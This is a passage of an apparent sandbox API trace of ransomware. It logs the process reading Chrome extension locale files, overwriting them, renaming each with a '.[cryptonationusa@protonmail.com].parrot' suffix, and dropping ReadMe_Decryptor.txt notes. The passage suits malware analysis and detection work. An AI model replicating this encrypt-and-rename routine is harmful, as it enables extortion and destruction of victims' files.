RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0054.126] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0054.126] GetFileType (hFile=0x288) returned 0x1 [0054.126] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d5078 [0054.306] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0054.306] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xaf3fd0e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf3fd0e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.307] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857953d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaf3fd0e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0054.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60cf80 [0054.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf80 | out: hHeap=0x5b0000) returned 1 [0054.307] lstrcmpW (lpString1="messages.json.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0054.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x5d4d18 [0054.307] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf3fd0e0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xaf3fd0e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf507a80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0054.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0054.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0054.307] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0054.307] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf3fd0e0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xaf3fd0e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf507a80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0054.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240ba8 | out: hHeap=0x5b0000) returned 1 [0054.307] FindClose (in: hFindFile=0x600650 | out: hFindFile=0x600650) returned 1 [0054.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0054.307] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0054.307] lstrcmpW (lpString1="bg", lpString2=".") returned 1 [0054.307] lstrcmpW (lpString1="bg", lpString2="..") returned 1 [0054.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x2240a80 [0054.307] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x196) returned 0x2240b98 [0054.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0054.307] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240db0 | out: hHeap=0x5b0000) returned 1 [0054.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x2240d38 [0054.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d4ea0 [0054.308] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0054.308] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.308] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.308] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.308] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.308] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bc4d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0054.308] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5b0 [0054.308] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0054.308] lstrcmpW (lpString1="messages.json", lpString2="ReadMe_Decryptor.txt") returned -1 [0054.308] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0054.393] GetFileSize (in: hFile=0x288, lpFileSizeHigh=0x18dac0 | out: lpFileSizeHigh=0x18dac0*=0x0) returned 0x110 [0054.394] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x228, nNumberOfBytesToLockHigh=0x0) returned 1 [0054.394] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0054.394] ReadFile (in: hFile=0x288, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0054.394] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.395] ReadFile (in: hFile=0x288, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x110, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x110, lpOverlapped=0x0) returned 1 [0054.395] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0054.395] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0054.395] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0054.395] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0054.395] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0054.395] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0054.395] GetLastError () returned 0x0 [0054.395] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.395] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0054.395] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0054.395] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0054.395] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0054.395] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0054.395] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0054.395] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0054.395] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0054.396] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0054.396] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0054.396] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0054.396] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0054.396] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0054.396] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0054.396] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0054.396] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5b0 [0054.396] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0054.396] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0054.396] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0054.396] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0054.396] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0054.396] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0054.396] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0054.396] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5da420 [0054.396] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0054.396] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22407f8 [0054.396] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da420 | out: hHeap=0x5b0000) returned 1 [0054.396] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d50b8 [0054.396] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22407f8 | out: hHeap=0x5b0000) returned 1 [0054.396] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x238) returned 0x5d5200 [0054.396] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d50b8 | out: hHeap=0x5b0000) returned 1 [0054.396] WriteFile (in: hFile=0x288, lpBuffer=0x5d5200*, nNumberOfBytesToWrite=0x238, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x5d5200*, lpNumberOfBytesWritten=0x18da44*=0x238, lpOverlapped=0x0) returned 1 [0054.396] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5200 | out: hHeap=0x5b0000) returned 1 [0054.396] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x228, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0054.396] CloseHandle (hObject=0x288) returned 1 [0054.397] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x5d50b8 [0054.397] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5d51f0 [0054.397] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d50b8 | out: hHeap=0x5b0000) returned 1 [0054.397] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0054.560] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f0 | out: hHeap=0x5b0000) returned 1 [0054.560] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240e60 | out: hHeap=0x5b0000) returned 1 [0054.560] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da1e8 | out: hHeap=0x5b0000) returned 1 [0054.560] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x2240e60 [0054.560] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d50b8 [0054.560] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0054.560] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0054.561] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0054.561] GetFileType (hFile=0x288) returned 0x1 [0054.561] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0054.571] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0054.571] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xaf769080, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf769080, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.572] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bc4d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaf5c6160, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0054.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60cf80 [0054.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf80 | out: hHeap=0x5b0000) returned 1 [0054.572] lstrcmpW (lpString1="messages.json.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0054.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x5d4ea0 [0054.572] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf769080, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xaf769080, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf78f1e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0054.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0054.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0054.572] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0054.572] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf769080, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xaf769080, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf78f1e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0054.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240e60 | out: hHeap=0x5b0000) returned 1 [0054.572] FindClose (in: hFindFile=0x600650 | out: hFindFile=0x600650) returned 1 [0054.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240d38 | out: hHeap=0x5b0000) returned 1 [0054.572] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1 [0054.572] lstrcmpW (lpString1="ca", lpString2=".") returned 1 [0054.572] lstrcmpW (lpString1="ca", lpString2="..") returned 1 [0054.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x2240a80 [0054.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x196) returned 0x2240d38 [0054.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0054.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b98 | out: hHeap=0x5b0000) returned 1 [0054.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x2240a80 [0054.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d5028 [0054.572] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0054.573] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.573] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.573] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.573] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.573] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bc4d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0054.573] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5b0 [0054.573] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5b0 | out: hHeap=0x5b0000) returned 1 [0054.573] lstrcmpW (lpString1="messages.json", lpString2="ReadMe_Decryptor.txt") returned -1 [0054.573] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0054.573] GetFileSize (in: hFile=0x288, lpFileSizeHigh=0x18dac0 | out: lpFileSizeHigh=0x18dac0*=0x0) returned 0xe0 [0054.573] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f8, nNumberOfBytesToLockHigh=0x0) returned 1 [0054.573] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0054.573] ReadFile (in: hFile=0x288, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0054.574] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.574] ReadFile (in: hFile=0x288, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xe0, lpOverlapped=0x0) returned 1 [0054.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0054.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0054.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0054.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0054.575] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, 